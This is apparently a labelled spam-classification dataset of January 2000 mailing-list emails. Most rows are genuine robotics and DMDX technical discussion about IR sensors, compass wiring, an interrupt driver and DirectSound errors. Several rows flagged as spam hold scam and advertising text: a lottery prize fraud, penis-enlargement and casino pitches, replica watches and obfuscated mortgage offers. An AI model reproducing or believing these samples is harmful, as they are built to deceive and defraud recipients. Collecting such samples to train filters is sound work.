,DMDX@psy1.psych.arizona.edu,"Mon, 11 Jan 0100 16:34:36 +1100",[DMDX],"Hi there fellow DMDXers! The time has come for us to set up a number of DMDX machines here at Macquarie, and I was wondering if anyone could provide us with information concerning what sort of microphones work well with DMDX in terms of providing naming latencies/recording vocal responses. Ideally, we'd be looking for a microphone that can be attached to a headset. Any suggestions would be greatly appreciated. Regards, Anna W. ",0,0 Dirk Stueker ,handyboard@media.mit.edu,"Tue, 11 Jan 2000 09:01:39 +0000",GP2D12,"I just managed to connect a Sharp GP2D12 to my Handyboard. The advantage compared to the GP2D02-device is the analog output which does not consume processing power for clocking the sensor. Further information can be found at: http://condor.informatik.uni-oldenburg.de/stueker/GP2D12 ",0,1 Dirk Stueker ,handyboard@media.mit.edu,"Tue, 11 Jan 2000 09:29:18 +0000",Re: GP2D12 Pinouts,"In lugnet.robotics.handyboard, Richard Spooner writes: >Please could someone let me know the pin arrangement for the GP2D12 as I >have such a device with no documentation (the Sharp datasheet doesn't help). > >... Richard (rspooner@frisurf.no) Just visit: http://condor.informatik.uni-oldenburg.de/stueker/GP2D12 There are some modifications to the handyboard required, because the sensor does not work with the pull-up resistors on the handyboard. You have to cut some traces on the handyboard. A detailed description and a picture of the modified layout can be found on the website. Dirk ",0,1 Scarius ,handyboard@media.mit.edu,"Tue, 11 Jan 2000 16:14:47 +0000","""Traces""?","Dirk Stueker wrote: > There are some modifications to the handyboard required, > because the sensor does not work with the pull-up resistors > on the handyboard. You have to cut some traces on the handyboard. I've seen ""trace"" used a couple times as regards the Handyboard, concerning the leads from/to the inputs, I think??? What does it mean, what are they? Thx :) - Scarius http://weaselworks.cjb.net/ ",0,1 Roger Hamlett ,handyboard@media.mit.edu,"Tue, 11 Jan 2000 16:17:23 +0000","Re: ""Traces""?","In lugnet.robotics.handyboard, Joe Kopena writes: >Dirk Stueker wrote: >> There are some modifications to the handyboard required, >> because the sensor does not work with the pull-up resistors >> on the handyboard. You have to cut some traces on the handyboard. > >I've seen ""trace"" used a couple times as regards the Handyboard, >concerning the leads from/to the inputs, I think??? What does it mean, >what are they? 'Trace', and 'track', are common parlance, for the wiring built onto the printed circuit board inside a unit. So the post is saying that you have to actually cut the copper 'tracks' inside the unit itself. Best Wishes ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Jan 2000 17:25:26 -0700",[DMDX] Re: ,"At 04:34 PM 1/11/00 +1100, you wrote: >Hi there fellow DMDXers! > >The time has come for us to set up a number of DMDX machines here at >Macquarie, and I was wondering if anyone could provide us with information >concerning what sort of microphones work well with DMDX in terms of >providing naming latencies/recording vocal responses. Ideally, we'd be >looking for a microphone that can be attached to a headset. Any suggestions >would be greatly appreciated. It's microphones that work well with your sound card, not DMDX. You'll have to either (a) figure out what you sound likes in terms of a mic, beit low or high impedance or (b) buy both and return the one that doesn't work well. I tend to use preamplifiers, it's a bitch finding a good mic/sound card match. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The person who wakes up and finds himself a success hasn't been asleep. ",0,0 Alex Stewart ,handyboard@media.mit.edu,"Tue, 11 Jan 2000 19:40:11 -0800",PCB Designs ," HI Any of you guys out there in robo land have any good PCB designs for high powered motor driver, IRPD's or a nice Handy Boardish thing that you dont know what to call. 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""conductor path"" may be the technical term. -- ------------------------------------------------------------------------ Dirk Stueker Zietenstr. 36 26131 Oldenburg Germany Department of Computer Science University of Oldenburg Tel. & Fax: +49 / 441 / 5 39 35 ======================================================================== Home-P: http://www.informatik.uni-oldenburg.de/~trebla E-Mail: stueker@gmx.de (=Dirk.Stueker@Informatik.Uni-Oldenburg.de) ------------------------------------------------------------------------ ",0,1 Mike ,Remsey ,"Wed, 12 Jan 2000 13:45:24 +0400",weird stuff,"Hi Remsey It's sad but it's true that the large groups of women are unhappy with the size of there parnter's machinery. Don't be that guy, www.overbehitchreveiw.org/nw9/. Minor Mountain way Stewart is a 63-64. In 332 B.C. Alexander marched into Egypt. The Egyptians magical Milton did place were not like the Persian rule, so they welcomed Alexander Hope is was of some help Mike. ",1,0 IRELAND ,handyboard@media.mit.edu,"Wed, 12 Jan 2000 09:59:39 -0500",SPI Port,"Hello - I have two sensors that require the SPI port: the Sharp GP2D02 IR sensor, and the Precision Navigation Vector Compass. I'm hoping that someone can tell me how to use both of these sensors at the same time, on the same port or by using some other pin as a digital output. I'm sure there are ways of doing this, but I have no knowledge of electrical engineering or assembly, so I'm stuck. Another question: is there an SPI port on the Expansion Board, or is this completely taken over by the Expansion Board? Thanks! Chris Ireland ",0,0 Sathe Dilip ,Jonathan Swaby ,"Wed, 12 Jan 2000 10:50:02 -0500",Re: Sensor questions," Jonathan Swaby wrote: > > I have several sensor questions. > SNIP > > I would also like the board to sense air pressure and humidity. I have read >about capacitors that will vary with humidity, but I have no idea how to make >them work with the Miniboard. Can anyone provide any tips on this. Newark electronics used to sell a humidity sensor based on this principle for about $ 12. It should still be available. I believe it was made by Phillips. Basically the variations in capacitor value is used to vary the frequency of an oscillator & then the frequency is changed to voltage to get the indication of humidity. There may be some linearization issues involved depending on the sensor's characteristics. I have used one of National's charge pump type freq-to-voltage converter chip (I think it was LM 2917). This device is easy to use & quite linear for most purposes. Dilip >SNIP -- Pl. remove *s from the e-mail address to reply ",0,0 """Curt Mills, WE7U"" ",Jonathan Swaby ,"Wed, 12 Jan 2000 08:49:12 -0800",Re: Sensor questions,"On Wed, 12 Jan 2000, Jonathan Swaby wrote: > I would like to use my miniboard as an engine management system. At the present time, I have a small 2 cycle engine from a weed wacker that I would like to control. I would like to have the miniboard gather some information about the atmospheric conditions and use that information to adjust the air fuel mixture. Sounds like fun! Go check out the EFI332 (hope I got that right) project. That's a project to build a 68332 board to control a larger engine. They'll probably have pointers to the different types of sensors that can be used with it, some of which might be applicable to the miniboard. www.altavista.com should be able to find the project pages. > I would also like the board to sense air pressure and humidity. I have read about capacitors that will vary with humidity, but I have no idea how to make them work with the Miniboard. Can anyone provide any tips on this. Haven't played with this, but I did notice that the latest Nuts & Volts had a humidity sensor project in it. Just got that issue last week I think. Didn't read much of the article though. I think they used somebody's prepackaged humidy sensor in it. One thing to try might be to charge the capacitor up to a known voltage, and then measure it to see how long it discharges. You'll see variances in the discharge time. Of course you need a capacitor with an air gap between the plates. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Fabian Lopez ,Jonathan Swaby ,"Wed, 12 Jan 2000 12:41:02 -0700",Re: Sensor questions,"You wrote: I then tried the LM34. There is no calibration pin and it uses farenheit. 1F=10Mv. For some reason, the output from this device varies very little with changes in the room temperature. Now the present room temperature is 58F, during the summer it was 78F. The miniboard returned a value of 158 for both of these temperatures. I have used LM34DZ temp sensors a fair number of times and have found them to be simple to use and reliable. Perhaps the problem is the input to the ADC. I suspect impedance mismatch or you need to condition the signal coming from the temp. sensor -opamp amplifier circuit between the LM34DZ and the ADC input? Good Luck Fabian Lopez New Mexico ",0,0 MAR ERICSON ,Handy Board mailing list ,"Wed, 12 Jan 2000 18:12:56 -0500",Robotics Show on TLC,"Anyone interested, the show is: Extreme Machines: Incredible Robots A look at robots and the long-term benefits and possible consequences of their capabilities. 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Compressed+expanded is companded. --------------------- Dana Trantham dctranth@eos.ncsu.edu --------------------- ",0,0 Scott Harris ,handyboard@media.mit.edu,"Thu, 13 Jan 2000 01:57:11 +0000",Re: SPI Port,"I interfaced my Vector2X to the handyboard without using the SPI port and without any machine language. I set the compass to be in slave mode and used three digital outputs on the expansion board to control the RESET, SCLK, and SS lines. I used another two digital inputs to read EOC and SDO. The driver software is written in IC and is pretty short. It's just a direct implementation of the procedure given in the manual. I'm thinking about rewriting this in assembly, but there doesn't seem to be much point to it. Most of the time is spent waiting for the compass to generate a reading after you request the heading. Another cool thing is that you can just make a loop that constantly reads the compass and spawn this off as an IC process. It'll sit in the background and update a heading variable for you. One caveat about this method is that IC isn't fast enough to catch the least significan bit of the compass reading, but I run the compass in the low res mode, so I really don't care. The SPI port does exist on the on the expansion board, mine has an empty spot for a connection to a polaroid sonar, I think. As far as the IR sensors, I'm using the analog readout ones. They're great. I've got five of them on my robot. Let me know if you want my code for the compass and I'll spruce up the comments and send it to you. -Scott In lugnet.robotics.handyboard, IRELAND writes: >Hello - >I have two sensors that require the SPI port: the Sharp GP2D02 IR sensor, >and the Precision Navigation Vector Compass. I'm hoping that someone can >tell me how to use both of these sensors at the same time, on the same >port or by using some other pin as a digital output. >I'm sure there are ways of doing this, but I have no knowledge of >electrical engineering or assembly, so I'm stuck. >Another question: is there an SPI port on the Expansion Board, or is this >completely taken over by the Expansion Board? > >Thanks! >Chris Ireland",0,0 John Horvath ,robot-board@cmf.nrl.navy.mil,"Wed, 12 Jan 2000 23:04:50 -0500",Re: Sensor questions,"On Wed, 12 Jan 2000 10:16:26 -0500, you wrote: >I have several sensor questions. > >... > > I would also like the board to sense air pressure and humidity. I have read about capacitors that will vary with humidity, > but I have no idea how to make them work with the Miniboard. Can anyone provide any tips on this. > The Electronic Surplus Dealer Goldmine, http://www.goldmine-elec.com/, has been selling some weather balloon electronics innards for a few years. On this board there are some relevant sensors: a thermistor, some sort of barometric chip and a humidity ""device"". The humidity ""device"" is a plate of glass which appears to be covered in what looks like carbon dust. There are clip-on leads on each end of the glass. As the humidity changes, the resistance of this plate changes. Its quite sensitive, changing rapidly by just breathing on it from a distance. With these sensors, you can figure out the temperature and humidity experimentally. I haven't been able to find any source on the web that lists the pin outs for the barometric chip though. Cheers, John Horvath ",0,1 Adam Oliver ,'Handyboard Mailing List' ,"Fri, 14 Jan 2000 01:10:50 +0800",IR Question,"Greetings, I've heard mention of the various Sharp IR sensors which can give different distance readings for different zones. Part of my final year project is to design and investigate various sensors, but I really have to generate the stuff myself rather than use ready-made components. Could anyone out there give me an idea or starting point on how these devices work? Or how I might go about building something similar, even if it isnt to the same scale or accuracy. any help greatly appreciated thanks Adam ",0,0 Will Bain ,Handy Board mailing list ,"Thu, 13 Jan 2000 10:40:02 -0800",Re: IR Question,"All of the IR sensors I've seen use a pulsed IR emitter so that the detector can distinguish between the emitted IR and ambient (e.g. sunlight). Some sensors simply measure the intensity of reflected IR, but this method doesn't work reliably unless everything in the robot's environment has the same IR reflectance; it would work ok in a maze where all the walls have the same color and texture, for example, but not so well in the typical home environment. The more sophisticated IR sensors use some sort of triangulation scheme where the spacing between the emitter and detector becomes important, but I don't know the details of this method. Perhaps someone else on the mailing list can shed more electromagnetic radiation on this. -- Will -- Will --- Adam Oliver wrote: > Greetings, > I've heard mention of the various Sharp IR sensors which can give > different distance readings for different zones. Part of my final > year project is to design and investigate various sensors, but I > really have to generate the stuff myself rather than use ready-made > components. > > Could anyone out there give me an idea or starting point on how these > devices work? Or how I might go about building something similar, > even if it isnt to the same scale or accuracy. ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? 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Thank you, J.M. Mongeau ",0,0 Alex Stewart ,handyboard@media.mit.edu,"Thu, 13 Jan 2000 17:12:46 -0500",Whats Patrik Hui's Web adress?," Hi What is Patrik Hui web address? thanx -roboman robotman5@hotmail.com ",0,0 """Patrick P.K. Hui (Robot Store HK)"" ",Roboman@nc.rr.com,"Fri, 14 Jan 2000 08:26:23 +0800",Fw: Whats Patrik Hui's Web adress?,"Hello Alex, My web address is: http://www.robotstorehk.com Patrick Hui Robot Store (HK) patrick@robotstorehk.com >-----Original Message----- >From: Alex Stewart >To: handyboard@media.mit.edu >Date: Friday, January 14, 2000 6:44 AM >Subject: Whats Patrik Hui's Web adress? > > >> >> Hi >> What is Patrik Hui web address? >> >>thanx >> >>-roboman >> >>robotman5@hotmail.com >> >> >",0,1 Ben Jackson ,handyboard@media.mit.edu,"Fri, 14 Jan 2000 00:25:49 +0000",Re: GP2D02 conversion,"In lugnet.robotics.handyboard, Jean-Michel Mongeau writes: >Does anyone how I could create a lookup table or an algorithm to convert the >output of the Sharp GP2D02 (0 to 255 = byte) to values between 10 and 80 cm, >which is the reading capability of the IR? You mean like value = 10 + ((70 * b) / 256) ? --Ben ",0,0 Dana Craig Trantham ,"""Dr. Kaltofen"" ","Thu, 13 Jan 2000 23:45:18 -0500",mu law/A law links," The first 2 links will give you an idea of how these companding schemes work. The 3rd is a spec sheet for a Texas Instrument part. You can get more by searching on PCM, u-law, mu 255, A Law, etc. These come from the CCITT and Bell specifcations for telephony transmission. http://www.hut.fi/Misc/Electronics/docs/telecom/ulaw_alaw.html http://www.tcm.hut.fi/Opinnot/Tik-110.551/1997/seminar_paper.html http://www-d.connect.ti.com/dsp/tpcat/tpcodec.nsf/SoftwareForExternal/3B3BF2E87F3D01BC862567290051F39D --------------------- Dana Trantham dctranth@eos.ncsu.edu --------------------- ",0,1 Boris New ,DMDX@psy1.psych.arizona.edu,"Fri, 14 Jan 2000 17:53:42 +0100",[DMDX] DirectSound error with sb awe 32,"Hi, I'm working on a P166MMX (with a sb awe 32) under win98 and directx7frn (I was previously on directx5 and had the same problem). I have always the same error (even when I just resetted the machine): DirectSoundCreate failed DSERR_ALLOCATED (8878000a) The call failed because the resources (such as priority level) were already being used by another caller I suppressed every apps and it still occurs. Would someone have an idea? Thanks. Boris ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Jan 2000 10:41:57 -0700",[DMDX] Re: DirectSound error with sb awe 32,"At 05:53 PM 1/14/00 +0100, you wrote: >Hi, > >I'm working on a P166MMX (with a sb awe 32) under win98 and directx7frn (I >was previously on directx5 and had the same problem). I have always the >same error (even when I just resetted the machine): > >DirectSoundCreate failed > DSERR_ALLOCATED (8878000a) > The call failed because the resources (such as priority level) were > already being used by another caller > >I suppressed every apps and it still occurs. > >Would someone have an idea? You probably need to get better drivers for your sound card. Although the error indicates that another process is responsible (not my fault, I don't write those error messages, blame M$) my guess is that when the drivers are not adequate no process can get DirectSound access to the card, although regular Windows sound requests may well still function. The odd thing is is that call is not even asking for a priority level (the next one does that) so for it to fail there is most unusual, perhaps the configuration is hopelessly screwed up. Perhaps you only have MSDOS drivers installed which win32 can use but DirectX cannot -- I say this because I think that almost any windows drivers are usable by DirectSound in the dreaded ""emulated"" mode, to find one not usable is indeed very special. You might want to run / Program Files / DirectX / Setup / DxDiag and use the Sound / Test DirectSound button and see what happens. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Computers can figure out all kinds of problems, except the things in the world that just don't add up. ",0,0 Boris New ,DMDX@psy1.psych.arizona.edu,"Fri, 14 Jan 2000 19:26:15 +0100",[DMDX] Browse button,"Hi, Thanks for the advices: I installed the newest drivers from Creative, change the drivers in timedx and everything seems to work. Unfortunately I've got a last problem on another machine under win98 and directx7frn: One day it happened that when I pushed the browse button nothing happens: the ""Select Item File"" dialog doesn't appear. I can only run my rtf files with the command line. I reinstalled dmdx: the problem is always there. Thanks. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 Jan 2000 12:24:46 -0700",[DMDX] Re: Browse button,"At 07:26 PM 1/14/00 +0100, you wrote: >Hi, > > >Thanks for the advices: I installed the newest drivers from Creative, >change the drivers in timedx and everything seems to work. > >Unfortunately I've got a last problem on another machine under win98 and >directx7frn: >One day it happened that when I pushed the browse button nothing happens: >the ""Select Item File"" dialog doesn't appear. I can only run my rtf files >with the command line. > >I reinstalled dmdx: the problem is always there. Ah, yeah, this is a screw up that I've noticed once or twice and that I think other people have come across before. When I experienced the problem IIRC it came from not having run TimeDX on the machine. When TimeDX is run and any parameters are set it creates the root of the tree in the registry that both TimeDX and DMDX store values in, if DMDX is run before TimeDX (something that shouldn't happen) then the DMDX browse button fails because it can't find any trace of the registry entries it needs, I think --- having just looked at the registry I find that the previous item file names are stored by themselves, so much for theory... Perhaps your registry has been corrupted by something. If you can't fix it by running TimeDX and setting a few parameters then you'll have to run regedit and find the key named DMDX and delete it and if that doesn't get it find the key named TimeDX and delete it as well, you'll have to time all used video modes and so forth after deleting the latter registry key. Both keys should be in My Computer / HKEY_LOCAL_MACHINE / SOFTWARE. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800 ",0,0 Thomas Bogendoerfer ,Jean Tourrilhes ,"Fri, 14 Jan 2000 23:23:21 +0100",Re: Pcnet32 troubles...,"On Fri, Jan 14, 2000 at 01:59:47PM -0800, Jean Tourrilhes wrote: > I just updated one of my PCs to 2.2.14 and I have trouble with > the pcnet32 driver. The same driver was working fine in 2.2.13. I > didn't had the chance to try 2.3.X on this box (for some reasons, I > still need 2.2.X). you will probably see the same problem with 2.3. > > pcnet32.c: PCI bios is present, checking for devices... > Found PCnet/PCI at 0x6800, irq 11. > eth0: PCnet/FAST 79C971 at 0x6800, 00 20 0c 10 56 02 > tx_start_pt(0x0400): 64 bytes, BCR18(9861):BurstWrEn BurstRdEn NoUFlow > SRAMSIZE=0x0000, SRAM_BND=0x4000, assigned IRQ 11. looks like board doesn't have any external SRAM attached, but the current driver always enables SRAM for 971. I'll prepare a patch for testing over the weekend. Thomas. -- This device has completely bogus header. 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Daniel ",0,0 Phillips Alec ,handyboard@media.mit.edu,"Fri, 14 Jan 2000 12:58:56 -0500",zip your energy,"see cinnabar the afghanistan or earthen may atchison and manatee ",1,0 Barry Brouillette ,handyboard@media.mit.edu,"Fri, 14 Jan 2000 22:08:15 +0000",Re: GP2D02 conversion,"In lugnet.robotics.handyboard, Ben Jackson writes: >In lugnet.robotics.handyboard, Jean-Michel Mongeau writes: >>Does anyone how I could create a lookup table or an algorithm to convert the >>output of the Sharp GP2D02 (0 to 255 = byte) to values between 10 and 80 cm, >>which is the reading capability of the IR? > >You mean like value = 10 + ((70 * b) / 256) ? > >--Ben Actually, the GP2DO2's output is not at all linear. Plotting the output against the actual distance will show an exponential curve. Each one is slightly different so what I do is to make up a little table in Excel like: 0,0 70,10 116,15 142,20 155,25 163,30 169,35 176,40 180,45 Cells A1 and B1 are the constants in the equation Dist = A*B^reading. The data from actual measurements starts in row 2, where the first column is the reading and the second column is the actual distance measured in centimeters. Then I put in a third column (C) that has an exponential equation of the form +$A$1*($B$1^(A2/10))and a fourth column (D) that subtracts the actual reading from the calculated one: +ABS(B2-C2) and finally, at the bottom of the fourth column I have a single cell which sums up these error values: +SUM(D2..D9) Use the Excel solver to calculate the optimal value in cells A1 and B1 which will minimize the value in the summed error cell. Once you have these two values you can use them in an IC program like the one shown below. The variable GP2D02_15 is an integer set by the assembly code. The constants in the equation are ones that I had Excel calculate for my GP2D02. In my experience, most of them will have at least slightly different values. float distance; while(1) { f = 1.55931 * (1.018606 ^ (float) GP2D02_15); printf (""distance is %f\\n"",f); msleep(200L); } If the spreadsheet description wasn't clear enough, email me and I'll copy the actual spreadsheet for you. Barry ",0,0 Barry Brouillette ,handyboard@media.mit.edu,"Sat, 15 Jan 2000 02:09:55 +0000",Re: GP2D02 conversion,">In lugnet.robotics.handyboard, Ben Jackson writes: >>In lugnet.robotics.handyboard, Jean-Michel Mongeau writes: >>>Does anyone how I could create a lookup table or an algorithm to convert the >>>output of the Sharp GP2D02 (0 to 255 = byte) to values between 10 and 80 cm, >>>which is the reading capability of the IR? >> >>You mean like value = 10 + ((70 * b) / 256) ? >> >>--Ben > Sorry for two messages about the same subject but after playing around a bit more with it I got better results. Here is the spreadsheet to calculate the constants to convert the GP2D02 output to centimeters: 0.1233 1.0320 9.3078 GP2D02 Actual Calc Error^2 70 10 10.42 0.18 116 15 14.06 0.89 142 20 20.07 0.01 155 25 25.51 0.26 163 30 30.15 0.02 169 35 34.48 0.27 176 40 40.69 0.48 180 45 44.90 0.01 184 50 49.68 0.11 2.22 The cells from c3->c11 have an equation like: +$A$1*($B$1^(A3))+$C$1 The cells from d3->d11 have an equation like: +(B3-C3)*(B3-C3) The cell D12 has the equation: +SUM($D3:$D11) Use the Excel solver to minimize cell D12 by manipulating cells A1,B1, and C1 The IC lines to use the information would now look like: float distance; distance = 0.1233 * (1.0320^(float)GP2D02_15)+ 9.3078; Barry ",0,0 Kah Mun ,handyboard@media.mit.edu,"Sat, 15 Jan 2000 03:08:23 +0000",OxOc register," I had short circuit my TOC3 with a 5V source once. i changed the processor and the board worked. but i noticed that whenever i downloaded the pcode.s19 file, it wants to set the OxOD register instead of the OxOc. i downloaded config0c.s19 from the handyboard website and tried downloading it to handyboard using the same method as i would the pcode (HBDL.EXE for windows). the config register was specified to be OxOc but it only wanted to be downloaded to OxOD. did this a couple of times but it doesn't work. anybody had the same problem b4, please help. thanx km ",0,0 Will Bain ,Handy Board mailing list ,"Fri, 14 Jan 2000 22:19:44 -0800",Re: Using a 293B/293D combination,"I read on this list over a year ago that you *can* piggyback the two different chips together and still get the spike protection from the L293D. It was explained that you don't need to piggyback two L293D chips, because one spike-protecting chip suffices for the circuit. I don't recall who said it, but at the time it seemed very authoritative. -- Will --- Daniel Segel wrote: > The HB FAQ mentions using the LM293B and LM293D chips in parallel > (e.g., > one L293D and one L293B) to gain increased current-carrying > capability. My > question is, if I do this am I losing the function of the > spike-protecting > diodes on the motor outputs that the LM293D provides? ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 Last Winning Prize ,handyboard@media.mit.edu,"Sat, 15 Jan 2000 06:11:40 +0200",Last Winning Notif Letter !!!!!,"INTEGRATED SYSTEM DIGITAL NETWORK (ISDN) NV.. INTERNATIONAL LOTTERY PROMOTION PRIZE AWARD. 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TELEPHONE +44 702 4082191 ",1,1 Mark Tarrabain ,handyboard@media.mit.edu,"Sat, 15 Jan 2000 21:15:48 +0000",Lego-izing the Handyboard.,"I've mentioned this subject before here, but I never really got an answer that made much sense... Has anybody ever tried building a reasonable ""LEGO-ish"" container for the Handyboard? Ideally, that would be a sturdy enclosure that still provides convenient access to all the handyboard's I/O without actually having to open it up. I cannot imagine being the only LEGO nut who's been drawn to the idea of using the handyboard because of its increased versatility over the Mindstorms unit, but does not like the idea of hooking things up to a bare motherboard. >> Mark ",0,0 rmtmd ,"Mark Tarrabain , handyboard@media.mit.edu","Sat, 15 Jan 2000 14:42:32 -0800",Re: Lego-izing the Handyboard.,"Here's how to make a cradle for the handyboard which can be attached to your bots. The handyboard simply lifts out of the cradle. First, set your window to at least this width so diagram lines up--->| Use four angle beams (the ones with nine holes, with the angle off center and x holes at each end), two six unit straight beams, and four of the tiny rubber wheels that fit around the small pulleys. You'll also need eight friction fasteners. Make two of these subassemblies: X <--- X <--rubber pulley wheels O O here using 2 unit O O axles O O O O O X X O O O O O <--angle beams ^ ^ ^ ^ | | | | <--friction fasteners ----------- |O O O O O| Connect angle beams with straight ----------- beams separating angle beam ends by one empty hole in straight beam Use four friction fasteners, in each straight beam, two per angle beam. Then join the two subassemblies together with axles so that the ""rubberized"" pulley wheels are on the insides. Spaced corrrectly with axles, the two subassemblies will form a cradle into which the handyboard can be lowered so that it is held gently between the four tiny rubber wheels at the four corners and sits on top of the beams beneath. -------------- -------------- | angle beam | | angle beam | -------------- -------------- --- --------------- --- | | | |6U 5 hole beam| | | | <--pulley w/ rubber wheel --- --------------- --- | | | | | | | <-- axles -->| TOP VIEW | | | | --- | --------------- | --- | | | |6U 5 hole beam| | | | <--pulley w/ rubber wheel --- --------------- --- -------------- -------------- | angle beam | | angle beam | -------------- -------------- Drop the handyboard into this cradle. Build your bot around the cradle. Hope this helps :) Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX Mark Tarrabain Mark Tarrabain >I've mentioned this subject before here, but I never really got an >answer that made much sense... > >Has anybody ever tried building a reasonable ""LEGO-ish"" container for >the Handyboard? Ideally, that would be a sturdy enclosure that still >provides convenient access to all the handyboard's I/O without actually >having to open it up. > >I cannot imagine being the only LEGO nut who's been drawn to the idea of >using the handyboard because of its increased versatility over the >Mindstorms unit, but does not like the idea of hooking things up to a >bare motherboard. > >>> Mark > Ross Tonkens",0,0 Daniel Butler <27hsiuwen@achilles.net>,handyboard@media.mit.edu,"Sun, 16 Jan 2000 18:15:00 +0300","Poker, roulette, blackjack, etc."," VEGAS CASINO ONLINE - Superb Graphics - All Games (Poker, Roulette, Blackjack, etc.) http://www.care-of-yourself.com/wow/ Special feature: - Gamble with a live dealer (video stream) ________________________________ To change your mail preferences, go here ",1,1 """Conditional S. Distorter"" ",Bait ,"Sat, 15 Jan 2000 20:05:36 -0400",Patek philippe at unbelievable prices!,"REPLICA //ATCHES BAZAAR! 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Finally, to make the whole assembly virtually bomb-proof, I use the black friction pins and four six-unit beams vertically at each corner to pin the top side beams to the bottom side beams. As long as the verticals are in place, the structure cannot rattle loose. To keep the whole box assembly from racking, you can snap some 2 x 8 or 4 x 8 flat plates to the tops of the lateral beams (also makes a good platform for mounting small sensors). --- Mark Tarrabain wrote: > I've mentioned this subject before here, but I never really got an > answer that made much sense... > > Has anybody ever tried building a reasonable ""LEGO-ish"" container for > the Handyboard? Ideally, that would be a sturdy enclosure that still > provides convenient access to all the handyboard's I/O without > actually > having to open it up. > > I cannot imagine being the only LEGO nut who's been drawn to the idea > of > using the handyboard because of its increased versatility over the > Mindstorms unit, but does not like the idea of hooking things up to a > bare motherboard. > > >> Mark > ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 Rick Violet ,HandyBoardList ,"Mon, 17 Jan 2000 04:09:27 -0800",Can't get input capture to work,"I'm hoping someone can help me figure out the problem with the following driver. Ultimately I want to simulate a sony IR remote control using a 6.270 board. I acquired the sony-ir.asm and tried it out, but that wasn't working; so I trimmed it down to the following driver in hopes to get something working. The driver sets up a falling edge input capture interrupt routine which sets a flag to show that the routine was executed. I hook up a micro-switch to port A pin 0. I press the switch by hand while my C test program runs. The test program shows a transition but the interrupt doesn't execute, so I'm puzzled. It's bound to be a simple error, but after many hours of trying, I'm stumped. Anyone have suggestions? Here's the driver code.... *--------------------------------------------- org MAIN_START *--------------------------------------------- TCTL2 EQU $1021 ; Timer Control register 2 TMSK1 EQU $1022 ; main Timer interrupt Mask register 1 TIC1INT EQU $EE ; Timer Input Capture 1 *--------------------------------------------- variable_flag FDB 0 ; set by TIC1INT service handler *--------------------------------------------- subroutine_enable: LDX #$BF00 ; assume special mode BSET TMSK1,X $04 ; set IC1I, enable TIC1INT interrupt BSET TCTL2,X $20 ; capture falling edge BCLR TCTL2,X $10 RTS *--------------------------------------------- subroutine_disable: LDX #$BF00 ; assume special mode BCLR TMSK1,X $04 ; clear IC1I, diable TIC1INT interrupt RTS *--------------------------------------------- subroutine_initialize_module: LDX #$BF00 ; assume special mode LDD #ir_routine ; install interrupt vector STD TIC1INT,X LDD #0 ; clear flag STD variable_flag RTS *--------------------------------------------- ir_routine: LDD #1 ; set flag STD variable_flag RTI *--------------------------------------------- *--------------------------------------------- Here's the C test code.... /*---------------------------------------------*/ void main() { printf( ""RUN\\n"" ); enable(0); while( PA0() == 0){} printf( ""PRESSED\\n"" ); while( PA0() == 1){} disable(0); printf( ""DONE %d\\n"", flag ); } /*---------------------------------------------*/ int PA0() { return !( peek(0x1000) & 0x01 ); } Any suggestions would be greatly appreaciated. -Rick ",0,0 Meirion Cora ,DMDX@psy1.psych.arizona.edu,"Mon, 17 Jan 2000 03:55:32 -0700",Re: ioxyl news,"Dea j r Home Ow q ne p r , Your c x redi i t doesn't matter to us ! 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Like type some command in another terminal? Your help will be greatly appreciated! Zengfa ",0,0 Steven Vore ,handyboard@media.mit.edu,"Mon, 17 Jan 2000 19:28:52 +0000",Re: Robotics Show on TLC,"In lugnet.robotics.handyboard, MAR ERICSON wrote: >Anyone interested, the show is: > >Extreme Machines: Incredible Robots > A look at robots and the long-term benefits and possible > consequences of their capabilities. Thank you for this pointer. I taped it (locally it was at 2am Sunday!) and we found it very interesting. I especially like the wheel design behind the JPL Nanorover (http://robotics.jpl.nasa.gov/tasks/nrover/homepage.html). -Steven http://home.mindspring.com/~svore ",0,1 DebtHelp ,handyboard@media.mit.edu,,"Please respond Mon, 17 Jan 2000 19:21:22 +0100","Hello, You have been chosen to participate in an invitation only limited time event! Are you currently paying over 3% for your mortgage? STOP! We can help you lower that today! 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See: http://condor.informatik.uni-oldenburg/stueker/GP2D12 for details DIRK -- ------------------------------------------------------------------------ Dirk Stueker Zietenstr. 36 26131 Oldenburg Germany Department of Computer Science University of Oldenburg Tel. & Fax: +49 / 441 / 5 39 35 ======================================================================== Home-P: http://condor.informatik.uni-oldenburg.de/stueker E-Mail: stueker@gmx.de (=Dirk.Stueker@Informatik.Uni-Oldenburg.de) ------------------------------------------------------------------------ ",0,1 Dirk Stueker ,handyboard@media.mit.edu,"Tue, 18 Jan 2000 08:53:56 +0000",Re: Refresh-rate of GP2D12,"> http://condor.informatik.uni-oldenburg/stueker/GP2D12 Oups: http://condor.informatik.uni-oldenburg.de/stueker/GP2D12 is (hopefully) correct. ",0,1 Boris New ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Jan 2000 12:20:56 +0100",[DMDX] Browse Button,"Hi, I did'nt find any key for dmdx but found the key for timedx. I deleted timedx' key, and run again timedx and then dmdx but the problem is still there. A new element is that I tried to install dmdx on two new win98 machines yesterday (without running dmdx before 